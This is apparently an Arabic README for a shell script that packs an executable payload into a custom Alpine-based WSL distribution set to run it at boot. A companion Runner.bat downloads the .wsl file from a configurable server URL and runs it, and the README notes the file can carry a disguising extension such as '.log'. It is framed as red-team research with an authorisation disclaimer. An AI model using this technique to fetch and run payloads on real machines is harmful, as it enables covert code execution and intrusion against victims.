
سكربت شل قوي لإنشاء توزيعات WSL (Windows Subsystem for Linux) مخصصة مع حمولات مدمجة.
هذه الأداة مخصصة لأغراض البحث الأمني المشروع واختبار الاختراق. يتحمل المستخدمون مسؤولية ضمان حصولهم على التصريح المناسب قبل اختبار أنظمة لا يملكونها أو ليس لديهم إذن صريح لاختبارها.
نص برمجي (Shell Script) لإنشاء توزيعات WSL (نظام ويندوز الفرعي للينكس) مصغّرة مع حمولات مدمجة. تعمل هذه الأداة على أتمتة عملية بناء توزيعات WSL القائمة على Alpine Linux والتي يمكنها تنفيذ حمولات مخصصة عند الإقلاع.
يقوم النص البرمجي Build_WSL_Payload.sh بتنزيل أحدث rootfs لتوزيعة Alpine Linux، ويخصصها للاستخدام مع WSL، ويضمّن ملفًا تنفيذيًا يحدده المستخدم، ثم يحزم كل ذلك في ملف .wsl قابل للتوزيع.
سيقوم Runner.bat بتنزيل ملف إعداد WSL من عنوان URL المقدم وتشغيله (سيتم تثبيت wsl إذا لم يكن موجودًا وتوفرت صلاحيات المدير)
يعد هذا مفيدًا بشكل خاص لاختبار الاختراق، والبحث الأمني، وإنشاء بيئات WSL مخصصة.
-N, --name: تحديد اسم التوزيعة الافتراضي لـ WSL-P, --payload: تحديد المسار إلى ملف الحمولة التنفيذي-H, --help: عرض قائمة المساعدة# Build a WSL distribution named "CalcWSL" with a custom payload
./Build_WSL_Payload.sh -N CalcWSL -P ./Calc.exe
الخيار 1. نقرة مزدوجة (Double-Click) - سيؤدي النقر المزدوج على ملف WSL إلى تنفيذ الحمولة، وسيفتح أيضًا موجه أوامر (cmd) يجب إغلاقه يدويًا. (غير موصى به)
الخيار 2. استخدم ملف Runner.bat
C:\Users\USER_NAME> .\Runner.bat
يقوم النص البرمجي Runner.bat تلقائيًا بما يلي:
عدّل المتغيرات في أعلى ملف Runner.bat لتخصيص الإعدادات:
set "DOWNLOAD_URL=https://your-server.com/payload.wsl"
set "WSL_FILE=payload.log" # Still testing but can use most file extensions here.
استُلهم هذا المشروع من الأبحاث والتقنيات الموثقة في مستودع dmcxblue/WSL-Payloads ويبني عليها، حيث يوفّر رؤى قيّمة حول تسليح تنسيق ملفات WSL والبحث الأمني.
رخصة MIT
يُمنح الإذن بموجب هذا مجانًا لأي شخص يحصل على نسخة من هذا البرنامج وملفات التوثيق المرتبطة به (يُشار إليها باسم "البرنامج")، للتعامل في البرنامج دون قيود، بما في ذلك دون حصر الحقوق في استخدام البرنامج ونسخه وتعديله ودمجه ونشره وتوزيعه وترخيصه من الباطن و/أو بيع نسخ من البرنامج، والسماح للأشخاص الذين يُقدَّم لهم البرنامج بالقيام بذلك، مع مراعاة الشروط التالية:
يجب تضمين إشعار حقوق النشر أعلاه وإشعار الإذن هذا في جميع النسخ أو الأجزاء الجوهرية من البرنامج.
يُقدَّم البرنامج "كما هو"، دون أي ضمان من أي نوع، صريح أو ضمني، بما في ذلك على سبيل المثال لا الحصر ضمانات القابلية للتسويق، والملاءمة لغرض معين وعدم الانتهاك. في أي حال من الأحوال لا يتحمل المؤلفون أو أصحاب حقوق النشر المسؤولية عن أي مطالبة أو أضرار أو مسؤولية أخرى، سواء في دعوى تعاقدية أو تقصيرية أو غير ذلك، تنشأ عن أو بسبب البرنامج أو استخدامه أو التعاملات الأخرى مع البرنامج.